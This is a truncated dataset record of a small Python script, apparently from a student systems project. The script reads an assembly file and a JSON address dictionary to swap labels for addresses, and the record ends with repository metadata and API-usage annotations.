import sys import json asmFilename = sys.argv[1] with open(asmFilename, 'r') as file: lines = file.readlines() pyFile = open("pythonDict.py", 'r') addrDict = json.loads(pyFile.readline()) if addrDict: print("\nChanging labels...") for index, line in enumerate(lines): words = line.spl...
mousssse/SystemeInformatique
branching.py
branching.py
py
746
python
en
code
0
github-code
6
[ { "api_name": "sys.argv", "line_number": 4, "usage_type": "attribute" }, { "api_name": "json.loads", "line_number": 9, "usage_type": "call" } ]